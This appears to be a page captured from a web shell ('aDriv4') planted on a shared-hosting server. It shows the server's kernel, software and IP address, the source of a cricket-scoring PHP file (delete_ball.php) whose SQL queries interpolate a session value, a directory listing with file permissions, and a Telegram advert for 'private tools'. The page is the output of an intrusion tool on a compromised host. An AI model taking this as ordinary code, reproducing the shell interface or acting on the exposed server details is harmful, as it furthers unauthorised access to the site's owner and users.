aDriv4 website!

Linux premium294.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
66.29.137.213

File Name : delete_ball.php

<?php
session_start();
include_once '../../includes/connection.php';
// Step 1: Set columns to NULL in the last record
$matchid = $_SESSION['id'] ?? null;
if (!$matchid) {
    echo "Session expired!";
    exit;
}
echo $matchid;
$_SESSION['id'] =  $matchid;

// Step 2: Delete the last record if required
$sqlDelete = "DELETE FROM `score`
                  WHERE  innings = 1 AND match_id = $matchid ORDER BY `id` DESC LIMIT 1";

if ($conn->query($sqlDelete) === TRUE) {
    echo "Last record deleted successfully!";
} else {
    echo "Error deleting record: " . $conn->error;
}

$sqlUpdate = "UPDATE `score`
              SET `bowlCount` = NULL, `score` = NULL, `extra` = NULL, `byes` = NULL, `wicket` = NULL
              WHERE `innings` = 1 AND match_id = $matchid ORDER BY `id` DESC LIMIT 1";

if ($conn->query($sqlUpdate) === TRUE) {
    echo "Columns set to NULL successfully!<br>";

// Step 2: Get the last row from the `score` table
    $sqlScore = "SELECT `id`, `striker`, `nonstriker`,`wicket` FROM `score` WHERE `innings` = 1 AND match_id = $matchid ORDER BY `id` DESC LIMIT 1";
    $resultScore = $conn->query($sqlScore);

if ($resultScore->num_rows > 0) {
        // Fetch the last row from the `score` table
        $scoreRow = $resultScore->fetch_assoc();
        echo $lastScoreStriker = $scoreRow['striker'];
        echo ',';
        echo $lastScoreNonstriker = $scoreRow['nonstriker'];
        echo ',';
        $lastWicket = $scoreRow['nonstriker'];

if ($lastWicket != "") {

// Step 3: Get the last row from the `wicket` table
            $sqlWicket = "SELECT `id`, `batdsman` FROM `wicket` ORDER BY `id` DESC LIMIT 1";
            $resultWicket = $conn->query($sqlWicket);

if ($resultWicket->num_rows > 0) {
                // Fetch the last row from the `wicket` table
                $wicketRow = $resultWicket->fetch_assoc();
                echo $lastWicketBatsman = $wicketRow['batdsman'];

echo $lastId = $wicketRow['id'];

// Step 4: Check if striker or nonstriker matches with the batsman
                if ($lastScoreStriker == $lastWicketBatsman || $lastScoreNonstriker == $lastWicketBatsman) {
                    // Step 5: If match found, delete the last row from the `score` table
                    $deleteSql = "DELETE FROM `wicket` WHERE `id` = $lastId";

if ($conn->query($deleteSql) === TRUE) {
                        echo "Record deleted successfully!";
                    } else {
                        echo "Error deleting record: " . $conn->error;
                    }
                }
            } else {
                echo "No matching striker or nonstriker with the last batsman.";
            }
        } else {
            echo "No record found in `wicket` table.";
        }
    } else {
        echo "No record found in `score` table.";
    }
} else {
    echo "Error updating record: " . $conn->error;
}

echo '<script>window.location.href="addScore.php";</script>';

$conn->close();

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	tecnsujc/tecnsujc	0755	2025-11-04 12:51:47
..	dir	-	tecnsujc/tecnsujc	0755	2025-11-04 12:51:47
superover	dir	-	tecnsujc/tecnsujc	0755	2025-11-04 12:51:47
.htaccess	text/plain	127 B	tecnsujc/tecnsujc	0444	2025-11-04 12:51:58
addNewBallerBatter.php	text/x-php	23.63 KB	tecnsujc/tecnsujc	0666	2025-02-27 05:40:56
addNewBallerBatter2.php	text/x-php	23.19 KB	tecnsujc/tecnsujc	0666	2025-02-28 08:28:21
addPlayerTeam.php	text/x-php	5.7 KB	tecnsujc/tecnsujc	0666	2025-02-06 05:26:48
addScore.php	text/x-php	45.69 KB	tecnsujc/tecnsujc	0666	2025-03-06 06:31:26
addSecoundScore.php	text/x-php	52.93 KB	tecnsujc/tecnsujc	0666	2025-03-06 06:29:54
addSecoundbastman.php	text/x-php	15.59 KB	tecnsujc/tecnsujc	0666	2025-03-03 05:01:10
addbastman.php	text/x-php	15.63 KB	tecnsujc/tecnsujc	0666	2025-03-03 05:00:13
delete_2ball.php	text/x-php	3.06 KB	tecnsujc/tecnsujc	0666	2025-02-25 04:27:10
delete_ball.php	text/x-php	3.06 KB	tecnsujc/tecnsujc	0666	2025-02-24 08:46:30
error_log	text/plain	948 B	tecnsujc/tecnsujc	0644	2025-03-07 05:01:19
match.php	text/x-php	30.34 KB	tecnsujc/tecnsujc	0666	2025-03-06 07:25:14
match2.php	text/x-php	2.76 KB	tecnsujc/tecnsujc	0666	2025-03-04 05:17:52
viewMatch.php	text/html	44.41 KB	tecnsujc/tecnsujc	0666	2025-03-06 07:41:01

For more Private tool come to me!

https://t.me/aDriv4vz